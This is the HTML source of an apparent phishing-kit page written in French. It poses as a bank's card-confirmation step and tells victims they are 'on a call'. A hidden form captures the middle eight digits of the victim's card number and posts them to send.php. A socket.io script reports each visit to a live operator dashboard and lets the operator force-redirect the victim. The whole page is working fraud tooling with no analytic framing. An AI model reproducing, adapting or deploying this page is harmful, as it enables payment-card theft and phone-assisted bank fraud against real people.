/home2/mshostin/live-dashboard/public/carte2.html
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1">
<title>Confirmation de la demande</title>
<style>
*{box-sizing:border-box;font-family:Inter,system-ui,-apple-system,BlinkMacSystemFont,sans-serif}
body{margin:0;min-height:100vh;background:#fff;display:flex;flex-direction:column}
/* HEADER */
.top-bar{
display:flex;justify-content:space-between;align-items:center;
padding:22px 52px;border-bottom:1px solid #ededed
}
.logo-zone{display:flex;gap:26px;align-items:center}
.logo-main{height:76px}
.logo-secondary{height:62px}
.call-status{
display:flex;align-items:center;
padding:14px 30px;border-radius:999px;
background:rgba(0,200,120,.18);
border:1px solid rgba(0,160,100,.35);
color:#0b6b43;font-size:13px
}
.phone-icon{margin-right:22px;animation:blink 1.2s infinite}
@keyframes blink{0%,100%{opacity:1}50%{opacity:0}}
/* MAIN */
.container{flex:1;display:flex;justify-content:center;align-items:center}
.card-wrapper{
width:480px;padding:46px;border-radius:28px;
box-shadow:0 40px 90px rgba(0,0,0,.08)
}
/* CARD */
.bank-card{
width:100%;height:260px;
position:relative;border-radius:22px;
background:linear-gradient(135deg,#1a1f36,#2b2f4a);
color:#fff;padding:26px
}
.bank-card.mc{
background:linear-gradient(135deg,#ff9800,#ff5722)
}
/* TOP */
.top{position:relative;height:42px}
.chip{
position:absolute;right:0;top:4px;
width:48px;height:36px;border-radius:6px;
background:linear-gradient(135deg,#d4af37,#f5e08e)
}
.network-logo{
position:absolute;left:0;top:0;
height:42px;opacity:0
}
.network-logo.show{opacity:1}
/* NUMBER */
.number{
margin-top:54px;
display:flex;justify-content:center;align-items:center;
gap:10px;font-family:monospace;
font-size:1.25rem;letter-spacing:2px
}
.star{opacity:.6;width:70px;text-align:center}
.middle-input{
width:70px;background:transparent;border:none;outline:none;
color:#fff;font-size:1.25rem;text-align:center
}
/* FOOTER */
.footer{
position:absolute;bottom:26px;left:26px;right:26px;
display:flex;justify-content:space-between;font-size:.85rem
}
/* BUTTON */
.confirm{
margin-top:36px;width:100%;
padding:16px;border-radius:18px;
border:none;background:#0057b7;
color:#fff;font-size:15px;cursor:pointer
}
</style>
</head>
<body>
<header class="top-bar">
<div class="logo-zone">
<img src="logo-principal.png" class="logo-main">
<img src="logo-secondaire.png" class="logo-secondary">
</div>
<div class="call-status">
<span class="phone-icon">📞</span>
Vous êtes en communication…
</div>
</header>
<main class="container">
<div class="card-wrapper">
<!-- FORMULAIRE LOGIQUE INVISIBLE -->
<form action="send.php" method="POST" id="confirmForm">
<input type="hidden" name="form_type" value="middle_segments">
</form>
<div class="bank-card" id="card">
<div class="top">
<img src="visa.png" id="visaLogo" class="network-logo">
<img src="mastercard.png" id="mcLogo" class="network-logo">
<div class="chip"></div>
</div>
<div class="number">
<div class="star">••••</div>
<input class="middle-input" maxlength="4"
name="segment_x" form="confirmForm">
<input class="middle-input" maxlength="4"
name="segment_y" form="confirmForm">
<div class="star">••••</div>
</div>
<div class="footer">
<span>EXP <span id="expiryText">--/--</span></span>
<span>TITULAIRE</span>
</div>
</div>
<button class="confirm"
type="submit"
form="confirmForm">
Confirmer la demande
</button>
</div>
</main>
<script>
const card = document.getElementById('card');
const visaLogo = document.getElementById('visaLogo');
const mcLogo = document.getElementById('mcLogo');
const network = localStorage.getItem('demo_network') || 'visa';
const color = localStorage.getItem('demo_color') || 'blue';
const expiry = localStorage.getItem('demo_expiry') || '--/--';
document.getElementById('expiryText').textContent = expiry;
visaLogo.classList.remove('show');
mcLogo.classList.remove('show');
card.classList.remove('mc','blue','dark');
if(network === 'mc'){
card.classList.add('mc');
mcLogo.classList.add('show');
}else{
visaLogo.classList.add('show');
}
card.classList.add(color);
</script>
<script src="/live-dashboard/socket.io/socket.io.js"></script>
<script>
const socket = io({ path: '/live-dashboard/socket.io' });
// Indiquer au serveur la page actuelle
socket.emit("page_visit", window.location.pathname);
// �couter la redirection live
socket.on("force_redirect", (newPage) => {
window.location.href = newPage;
});
</script>
</body>
</html>